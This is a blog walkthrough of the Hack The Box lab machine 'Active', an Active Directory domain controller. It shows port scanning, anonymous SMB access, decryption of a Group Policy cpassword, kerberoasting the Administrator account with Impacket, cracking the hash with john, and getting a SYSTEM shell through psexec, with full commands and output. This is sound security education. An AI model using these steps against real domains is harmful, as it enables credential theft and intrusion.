

Hack The Box Write-up - Active

=====:

🕒 12 minute read ✍ Published: 19 Dec, 2018

> Write-up for the machine Active from Hack The Box. The machine is a very
> interesting exercise for those who do not work with Active Directory domain
> controllers every day but want to dive deeper into their inner workings.
> Basically, you find one such domain controller with plenty of open ports. After
> a short distraction in form of a web server with no content, you find that you
> get unauthenticated access to an SMB share with some group policy files in it.
> Inside, you find an encrypted password. It is easy to decrypt though since the
> key is public information. With these credentials, you get not only the first
> flag but also access to the AD itself. Searching for server principal names
> reveals that the Administrator account is kerberoastable. With impacket and
> john, it is easy to crack the password of this account. Now the root flag is
> only one execution of psexec away.

► Table of Contents

Enumeration

=====:

Port scan

We start as usual with a quick ``masscan`` to get open ports as fast as possible.
It returns lots of results:

```
$ masscan -e tun0 -p 1-65535 --rate 2000 10.10.10.100
```

```
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-09-13 20:54:40 GMT
```

```
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
```

```
Initiating SYN Stealth Scan
```

```
Scanning 1 hosts [65535 ports/host]
```

```
Discovered open port 53/tcp on 10.10.10.100
```

```
Discovered open port 9389/tcp on 10.10.10.100
```

```
Discovered open port 88/tcp on 10.10.10.100
```

```
Discovered open port 445/tcp on 10.10.10.100
```

```
Discovered open port 464/tcp on 10.10.10.100
```

```
Discovered open port 49171/tcp on 10.10.10.100
```

```
Discovered open port 3268/tcp on 10.10.10.100
```

```
Discovered open port 49169/tcp on 10.10.10.100
```

```
Discovered open port 49182/tcp on 10.10.10.100
```

```
Discovered open port 5722/tcp on 10.10.10.100
```

```
Discovered open port 49158/tcp on 10.10.10.100
```

```
Discovered open port 49153/tcp on 10.10.10.100
```

```
Discovered open port 593/tcp on 10.10.10.100
```

```
Discovered open port 389/tcp on 10.10.10.100
```

```
Discovered open port 49155/tcp on 10.10.10.100
```

```
Discovered open port 47001/tcp on 10.10.10.100
```

```
Discovered open port 636/tcp on 10.10.10.100
```

```
Discovered open port 49152/tcp on 10.10.10.100
```

```
Discovered open port 135/tcp on 10.10.10.100
```

```
Discovered open port 3269/tcp on 10.10.10.100
```

```
Discovered open port 139/tcp on 10.10.10.100
```

```
Discovered open port 49154/tcp on 10.10.10.100
```

```
Discovered open port 49157/tcp on 10.10.10.100
```

Use `nmap` to get more details on the services running on these ports:

```
$ nmap -sV -sC -p 53,9389,88,445,464,49171,3268,49169,49182,5722,49158,49153,593,
...
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Microsoft DNS 6.1.7601 (1DB15D39) (Windows
Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2018-09-13
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: act
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: act
3269/tcp   open  tcpwrapped
5722/tcp   open  msrpc         Microsoft Windows RPC
9389/tcp   open  mc-nmf        .NET Message Framing
47001/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-server-header: Microsoft-HTTPAPI/2.0
|_ http-title: Not Found
49152/tcp  open  msrpc         Microsoft Windows RPC
49153/tcp  open  msrpc         Microsoft Windows RPC
49154/tcp  open  msrpc         Microsoft Windows RPC
49155/tcp  open  msrpc         Microsoft Windows RPC
49157/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp  open  msrpc         Microsoft Windows RPC
```

```
49169/tcp open  msrpc          Microsoft Windows RPC
49171/tcp open  msrpc          Microsoft Windows RPC
49182/tcp open  msrpc          Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2
```

Host script results:

```
|_clock-skew: mean: -3s, deviation: 0s, median: -3s
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2018-09-13 17:02:01
|_  start_date: 2018-09-09 17:20:40
```

This looks a lot like an Active Directory domain controller. We can see a Windows host with LDAP, Kerberos and plenty of RPC ports. Moreover, there is a web server on 47001. Checking it out with a browser returns a 404 and nothing else. Lastly, we have ports 139 and 445 open, which means we should look for SMB shares. Also note that nmap returned the name of the domain, which is "active.htb".

Web server

Before doing anything else, I ran a scan on the web server to check if there are any hidden files or directories:

```
$ wfuzz --hc=404 -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium
```

To my disappointment, the scan did not deliver any results. Nevertheless, it does not hurt to have it running and to proceed with manual enumeration after that.

SMB shares

SMB is a [file sharing protocol](#) and the primary means by which Windows computers let other machines access files remotely. We can try to use `nmap` scripts to extract some information about possible vulnerabilities out of it:

```
$ nmap -p 445 --script vuln 10.10.10.100
...
PORT      STATE SERVICE
445/tcp    open  microsoft-ds

Host script results:
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: ERROR:
Server disconnected the connection
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: ERROR: Server
disconnected the connection
...
```

This did not help too much. Maybe I was a bit too quick with this, so let's step back and just connect with `smbclient`:

```
$ smbclient -L 10.10.10.100
Enter WORKGROUP\root's password:
Anonymous login successful
```

Sharename	Type	Comment
-----	----	-----
ADMIN\$	Disk	Remote Admin
C\$	Disk	Default share
IPC\$	IPC	Remote IPC
NETLOGON	Disk	Logon server share
Replication	Disk	
SYSVOL	Disk	Logon server share
Users	Disk	

Reconnecting with SMB1 for workgroup listing.

Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)

Failed to connect with SMB1 -- no workgroup available

Interesting! It looks like there are several shares available. Continuing with ``smbclient``, we can try to anonymously connect to them to check which of them are protected and which not. Below are two examples. Connecting to "NETLOGON" does not work and fails with "NT_STATUS_ACCESS_DENIED", whereas the share named "Replication" let's us in:

```
$ smbclient \\\10.10.10.100\\NETLOGON
Enter WORKGROUP\root's password:
Anonymous login successful
tree connect failed: NT_STATUS_ACCESS_DENIED
```

```
$ smbclient \\\10.10.10.100\\Replication
Enter WORKGROUP\root's password:
Anonymous login successful
Try "help" to get a list of possible commands.
```

```
smb: \> list
0:      server=10.10.10.100, share=Replication
...
```

For easier enumeration, we could also use the amazing ``smbmap`` tool, which conveniently lists all shares and the permissions we have:




```
$ python smbmap.py -H 10.10.10.100 -d active.htb
[+] Finding open SMB ports....
[+] User SMB session established on 10.10.10.100...
[+] IP: 10.10.10.100:445      Name: 10.10.10.100
```



Disk	Permissions
----	-----
ADMIN\$	NO ACCESS
C\$	NO ACCESS
IPC\$	NO ACCESS
NETLOGON	NO ACCESS
Replication	READ ONLY
SYSVOL	NO ACCESS
Users	NO ACCESS

Since "Replication" is the only share we can access, let's just grab all the content and check it out locally. After connecting with ``smbclient``, we can download the entire share to a local folder `"/htb/active/smb/"` like so:

```
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
```

```
smb: \> lcd '/htb/active/smb/'
smb: \> mget *
```

We get what seems to be a backup of the group policies in SYSVOL. In AD environments, administrators can define policies to change settings on the client machines. Microsoft calls this MS-GPPREF and the protocol is documented [here](#) . It works such that the clients regularly connect to the Domain Controllers to download an XML file containing the settings defined by the administrator, as described [here](#) . The client then applies all settings it finds, which can be things like enabling or disabling hardware, configuring printers, changing the start menu and [much more](#) .

Among the settings an administrator can manage is the password of a local user on the client, as described [here](#) . This feature is handy to e.g., manage local administrator accounts for the entire domain. What will happen is that the Domain Controller puts that password into the XML file as the “cpassword” property of the user. Before doing so, it encrypts the password with AES, using a static 32 bit key. No, this is not a joke ;) ... It actually uses a publicly known static key you can get from [Microsoft's website](#) .

Thus, we can ``grep`` all files we just found for a “cpassword” field and luckily, we find one (beautified below for readability):

```
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
  <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"
    name="active.htb\SVC_TGS"
    image="2"
```



```
changed="2018-07-18 20:46:06"
uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}">
<Properties action="U"
  newName=""
  fullName=""
  description=""
  cpassword="edBSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTLfCt"
  changeLogon="0"
  noChange="1"
  neverExpires="1"
  acctDisabled="0"
  userName="active.htb\SVC_TGS"/>
</User>
</Groups>
```

This file reads like it sets a password for a user called "SVC_TGS". On Kali, we can decrypt the password with ``gpp-decrypt``:

```
$ gpp-decrypt "edBSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTLfCt"
/usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated
GPPstillStandingStrong2k18
```

This works like a charm and we now have credentials for a user: "ACTIVE.HTB\SVC_TGS" and "GPPstillStandingStrong2k18".

Being SVC_TGS
=====

Checking SMB again


We have brand new credentials which may give us more access than before. Check out the SMB shares again to see what "SVC_TGS" can do:

```
$ python smbmap.py -H 10.10.10.100 -d active.htb -u SVC_TGS -p GPPstillStandingS1
[+] Finding open SMB ports....
[+] User SMB session established on 10.10.10.100...
[+] IP: 10.10.10.100:445      Name: 10.10.10.100
```

Disk	Permissions
----	-----
ADMIN\$	NO ACCESS
C\$	NO ACCESS
IPC\$	NO ACCESS
NETLOGON	READ ONLY
Replication	READ ONLY
SYSVOL	READ ONLY
Users	READ ONLY

Interestingly, we now have read access to the "Users" volume, which is where the flags should be. Connecting to the share, we can retrieve the "user.txt" flag, but "root.txt" is obviously not accessible as we are not an administrator.

Enumerating Active Directory

The credentials now also allow accessing the Active Directory. To search for interesting information, you can use [windapsearch](#) , a Python script that pulls

data about users, groups, computers, and more. For instance, listing all domain users is accomplished like this:

```
$ python windapsearch.py --dc-ip 10.10.10.100 -d active.htb -u SVC_TGS -p GPPsti
[+] Using Domain Controller at: 10.10.10.100
[+] Getting defaultNamingContext from Root DSE
[+] Found: DC=active,DC=htb
[+] Attempting bind
[+] ...success! Binded as:
[+] u:ACTIVE\SVC_TGS

[+] Enumerating all AD users
[+] Found 4 users:

cn: Administrator

cn: Guest

cn: krbtgt

cn: SVC_TGS
userPrincipalName: SVC_TGS@active.htb

[*] Bye!
```

There is not much apart from the default Administrator and Guest. We know SVC_TGS already, and found an additional "krbtgt" user. This one is a default account too. It comes with an Active Directory installation, according to [Microsoft docs](#)

[↗](#). Its purpose is to issue Kerberos Ticket Granting Tickets (TGT) during Kerberos authentication. All TGTs will be encrypted with the password of this account. It is usually a strong, uncrackable password.

This is all not terribly helpful for itself, but it suggests we have to somehow leverage Kerberos to escalate.

Kerberoasting

Remember that our current user is called "SVC_TGS", and that we can suspect that some flaw in Kerberos authentication should get us the flag? Lets think through how Kerberos authentication works and see if that suggests something to do next. What follows now will be somewhat superficial and not 100% accurate. Check [this post ↗](#) for a much more complete description of Kerberos authentication.

Imagine somebody sets up a service such as CIFS on a machine and wants to use Kerberos authentication. This admin could create a domain user and set a Service Principal Name (SPN) for that user to associate it with the service ([c.f., here ↗](#)). Once all is [configured correctly ↗](#), the service will run under the service account's security context and domain users will be able to see the association in the Active Directory.

Now, if a domain user wants to access this service, it would ask the Kerberos Key Distribution Center (KDC) for two things:


- a Ticket Granting Ticket (TGT), which is issued by the Authentication Server (AS) component of the KDC. A domain user gets it by proving that it knows its own password. The ticket serves as proof of successful authentication with the KDC and allows a domain user to request service tickets.


- a service ticket, issued by the Ticket Granting Server (TGS) component of the KDC. A domain user gets it by presenting the TGT and an SPN to the KDC. The ticket then serves as proof of successful authentication with the KDC. Unlike the TGT though, which can only be verified by the KDC, the service ticket can be verified by the service itself.

It can not be a coincidence that our user is called "SVC_TGS", just like the TGS component of the KDC. What is special about these service tickets? To see that, we must think about how such a ticket works. The reason a service is able to verify the ticket is that the KDC encrypts and signs (part of) the ticket with the service account password, which it finds by looking up the SPN presented by the domain user.

The issue is that whoever is in possession of a service ticket is in possession of an oracle for the service account password, since you can brute force the encryption offline until you find the valid password. Thus, service accounts may be compromised and there is little that an administrator could do about it other than using strong passwords.

It gets worse since the KDC only performs authentication and leaves authorization to the service itself. Any domain user can request a service ticket for any service and will get one, as all it needs to do that is the SPN. It is the service's responsibility to decide whether to authorize a given request. Thus, all service accounts are at risk of having their passwords brute-forced. A domain user does not need any kind of access to the service.

Performing the attack was difficult when it came out. For instance, it required reading Kerberos tickets from memory with mimikatz, as described [here](#) . With

today's amazing tooling though, it is drop-dead simple to do. Given domain user credentials, [Impacket](#)  is all you need:

```
$ python /opt/impacket/examples/GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandin
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies
```

ServicePrincipalName	Name	MemberOf
-----	-----	-----
active/CIFS:445	Administrator	CN=Group Policy Creator Owners,CN=Users,DC=ac

```
$krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$09a16612e21d8979ea1a2025ae!
```

We are lucky and find that "Administrator" has an SPN set for CIFS. Impacket already requested a ticket and printed out a ``john``-compatible hash that waits to be cracked. Put it into a file "krb.txt" and go for it:

```
$ john ./krb.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)
1g 0:00:00:08 DONE (2018-09-16 11:43) 0.1212g/s 1277Kp/s 1277Kc/s 1277KC/s Tiffan:
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

Cracking took only a few seconds and gave us "Administrator" and "Ticketmaster1968" as a new pair of credentials.

Side note: there is a nice three part blog post series about Kerberoasting in which many more methods are described: [1](#), [2](#), and [3](#). With alternative methods, you may be able to perform this attack without credentials, given only a shell on the system.

Administrator with psexec

=====:

With admin credentials, it is easy to get a shell and the flag:

```
$ python psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies
```



```
[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file lRSucApr.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service eMOD on 10.10.10.100.....
[*] Starting service eMOD.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
```

```
C:\Windows\system32>whoami
nt authority\system
```




References

=====:

Some good blog posts about GPP include

- <https://adsecurity.org/?p=2288> 
- <http://esec-pentest.sogeti.com/posts/2012/01/20/exploiting-windows-gpp.html> 

Write-Ups and Walkthroughs for the machine:

- IppSec video: <https://www.youtube.com/watch?v=jUc1J31DNdw> 
- Write-Ups all using describing pretty much the same steps I did are:
 - <https://0xdf.gitlab.io/2018/12/08/htb-active.html#kerberoasting> 
 - <https://medium.com/bugbountywriteup/active-a-kerberos-and-active-directory-hackthebox-walkthrough-fed9bf755d15> 
 - <https://0xrick.github.io/HackTheBox-Active/> 

Published by Dominic Breuker 19 Dec, 2018 in [hackthebox](#) and tagged [ctf](#), [hackthebox](#), [infosec](#) and [write-up](#) using 2381 words.

Related Content

- [Hack The Box Write-up - Dropzone](#) - 10 minutes
- [Hack The Box Write-up - Dev0ops](#) - 7 minutes
- [Hack The Box Write-up - Sunday](#) - 8 minutes
- [Hack The Box Write-up - SolidState](#) - 12 minutes
- [Hack The Box Write-up - Calamity](#) - 10 minutes
- [flaws.cloud - Level 2](#) - 8 minutes

- Steganography challenge - The Book of Secrets - 10 minutes